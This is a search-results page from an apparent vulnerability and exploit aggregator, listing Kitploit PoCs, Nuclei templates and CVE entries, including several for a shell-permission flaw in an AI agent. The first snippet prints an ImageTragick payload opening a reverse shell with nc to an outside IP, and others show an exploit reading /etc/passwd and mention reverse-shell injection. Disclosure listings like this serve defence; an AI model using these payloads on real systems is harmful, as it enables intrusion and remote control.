Lucene search
+L

1982 matches found

Kitploit
Kitploit
added 2026/09/17 4:07 a.m.8 views

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

6AI score
SaveExploits0
Nuclei
Nuclei
added 2026/09/17 2:05 a.m.114 views

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by...

10CVSS8.4AI score0.42551EPSS
SaveExploits1References3
Nuclei
Nuclei
added 2026/09/17 2:05 a.m.94 views

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through t...

10CVSS8.4AI score0.39544EPSS
SaveExploits1References3
Kitploit
Kitploit
added 2026/09/17 1:41 a.m.9 views

CVE-2021-45897

CVE-2021-45897 CVE-2021-45897(又名 SCRMBT-180)的 PoC —— SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 使用示例: root@kitploit: .venv ➜ CVE-2021-45897 git:main ✗ ./exploit.py -u user -p --payload "cat /etc/passwd"...

8.8CVSS8.1AI score0.04608EPSS
SaveExploits2References2
Kitploit
Kitploit
added 2026/09/17 12:59 a.m.9 views

CVE-2023-34152

CVE-2023-34152 RCE脆弱性、ImageMagick 6.9.6-4 に影響します。この脆弱性により、攻撃者は被害者のシステム上でコマンドを実行できます。これにより、リモートコマンド実行が可能になります。 これは、fullwaywangによるCVE-2023-34152の発見に触発されたPOCです。 脆弱性の開示 root@kitploit: Usage: python3 CVE-2023-34152.py AttackerIP AttackerPort 説明...

9.8CVSS8.6AI score0.08011EPSS
SaveExploits3References2
Kitploit
Kitploit
added 2026/09/17 12:46 a.m.9 views

CVE-2025-24893-PoC

CVE-2025-24893 - XWiki 远程代码执行 RCE 这是一个针对 CVE-2025-24893 的更新版概念验证 PoC 利用代码,该漏洞是 XWiki 中的一个关键未认证 RCE 漏洞。此版本在原版基础上进行了改进,允许执行任意 shell 命令并实现干净的反弹 shell 注入。 作者: HexHunter404 ⚠️ 警告 此代码仅供教育和授权的渗透测试使用 。 请勿将其用于您不拥有或未经明确许可测试的系统上。 ✨ 功能特点 支持通过 bash -c '' 执行命令 完全支持反弹 shell(通过 base64 绕过 Groovy 限制) 改进了命令输出的处理 保留...

9.8CVSS8.7AI score0.99864EPSS
SaveExploits52References1
Kitploit
Kitploit
added 2026/09/17 12:38 a.m.10 views

cve-2023-1671

Сve-2023-1671 ¿Cómo funciona cve-2023-1671https://vulners.com/cve/CVE-2023-1671 ? /opt/ws/bin/ftsblistpack es un script de Perl que llama a /opt/ws/bin/sblistpack, que es otro script de Perl. Los argumentos del comando shell en él están encerrados entre comillas simples: root@kitploit: $rc +=...

9.8CVSS8.6AI score0.99999EPSS
SaveExploits10
Kitploit
Kitploit
added 2026/09/16 3:22 p.m.7 views

Langflow-CVE-2025-3248-Multi-target

⚠️ Langflow RCE エクスプロイトスキャナー CVE-2025-3248 このPythonベースのスキャナーは、Langflowインスタンスにおける認証なしのリモートコード実行(RCE) 脆弱性をCVE-2025-3248 を介して自動検出します。これは、/api/v1/validate/codeエンドポイントを悪用して任意のシェルコマンドを実行する概念実証ペイロードを使用します。 🚨 CVEの詳細 CVE : CVE-2025-3248 影響 : 認証なしのリモートコード実行 コンポーネント : Langflow API /api/v1/validate/code...

9.8CVSS9.1AI score0.9999EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/16 12:31 p.m.10 views

Richsploit

Richsploit Richsploit: 用于 RichFaces 的漏洞利用工具包。 概述 Richsploit 可用于利用使用 RichFaces 的 JSF 端点。所有 3.1.0 及更高版本均存在漏洞。 root@kitploit: usage: Richsploit -e,--exploit 0: CVE-2013-2165 1: CVE-2015-0279 2: CVE-2018-12532 3: CVE-2018-12533 4: CVE-2018-14667 -p,--payload The file containing serialized object...

9.8CVSS8.5AI score0.74171EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/16 7:18 a.m.11 views

log4j-rce-test

ビルド ./build.sh log4j RCE サーバーの起動 ./start-log4j-rce-server.sh テスト java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j を実行 カレントフォルダの hack.log にログが出力されるか確認 この行を変更できます String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString + " ./hack.log" ; ファイル apache-log4j-poc/src/main/java/Exploit.java 内の...

5.7AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/09/15 9:25 p.m.11 views

Struts-Apache-ExploitPack

Struts-Apache-ExploitPack これらは、Apache Struts の脆弱性(CVE-2017-5638)を検出および悪用するために使用できるスクリプトです。 MassScanner と Exploiter があります。スキャナーを使用して URL の一覧を一括スキャンし、その後 Exploiter でそれらを悪用できます。 Exploiter は、脆弱なサーバー上で任意のシェルコマンドを実行します。...

10CVSS8.4AI score0.99999EPSS
SaveExploits46
NVD
NVD
added 2026/09/14 8:17 p.m.10 views

CVE-2026-90813

A vulnerability was detected in cosmicstack-labs mercury-agent up to 1.1.13. Affected is the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Execution. The manipulation results in incorrect behavior order: validate before canonicalize. The...

5.3CVSS0.00312EPSS
SaveExploits0References6
NVD
NVD
added 2026/09/14 7:18 p.m.8 views

CVE-2026-90812

A security vulnerability has been detected in cosmicstack-labs mercury-agent up to 1.2.0. This impacts the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Permission. The manipulation leads to incorrect privilege assignment. The attack may be...

5.3CVSS0.00222EPSS
SaveExploits0References6
NVD
NVD
added 2026/09/14 7:18 p.m.7 views

CVE-2026-90810

A security flaw has been discovered in cosmicstack-labs mercury-agent up to 1.1.13. The impacted element is the function PermissionManager.checkShellCommand of the file mercury-agent/src/capabilities/permissions.ts of the component Shell Command Permission Check. Performing a manipulation results...

6.5CVSS0.00209EPSS
SaveExploits0References6
EUVD
EUVD
added 2026/09/14 7:15 p.m.6 views

EUVD-2026-77773

A vulnerability was detected in cosmicstack-labs mercury-agent up to 1.1.13. Affected is the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Execution. The manipulation results in incorrect behavior order: validate before canonicalize. The...

5.3CVSS4.9AI score0.00312EPSS
SaveExploits0References6
CVE
CVE
added 2026/09/14 7:15 p.m.10 views

CVE-2026-90813

CVE-2026-90813 affects cosmicstack-labs mercury-agent versions up to 1.1.13 . The vulnerable component is the Shell Command Execution function checkShellCommand in src/capabilities/permissions.ts. The root cause is an incorrect behavior order: validation occurs before canonicalization , allowing ...

5.3CVSS4.9AI score0.00312EPSS
SaveExploits0References6
Cvelist
Cvelist
added 2026/09/14 7:15 p.m.30 views

CVE-2026-90813 cosmicstack-labs mercury-agent Shell Command Execution permissions.ts checkShellCommand validate before canonicalize

A vulnerability was detected in cosmicstack-labs mercury-agent up to 1.1.13. Affected is the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Execution. The manipulation results in incorrect behavior order: validate before canonicalize. The...

5.3CVSS0.00312EPSS
SaveExploits0References6
OSV
OSV
added 2026/09/14 7:15 p.m.5 views

CVE-2026-90813 cosmicstack-labs mercury-agent Shell Command Execution permissions.ts checkShellCommand validate before canonicalize

A vulnerability was detected in cosmicstack-labs mercury-agent up to 1.1.13. Affected is the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Execution. The manipulation results in incorrect behavior order: validate before canonicalize. The...

5.3CVSS5.1AI score
SaveExploits0References8
EUVD
EUVD
added 2026/09/14 7:00 p.m.6 views

EUVD-2026-77770

A security vulnerability has been detected in cosmicstack-labs mercury-agent up to 1.2.0. This impacts the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Permission. The manipulation leads to incorrect privilege assignment. The attack may be...

5.3CVSS4.8AI score0.00222EPSS
SaveExploits0References6
OSV
OSV
added 2026/09/14 7:00 p.m.4 views

CVE-2026-90812 cosmicstack-labs mercury-agent Shell Command Permission permissions.ts checkShellCommand privileges assignment

A security vulnerability has been detected in cosmicstack-labs mercury-agent up to 1.2.0. This impacts the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Permission. The manipulation leads to incorrect privilege assignment. The attack may be...

5.3CVSS5.1AI score
SaveExploits0References8
Rows per page
Query Builder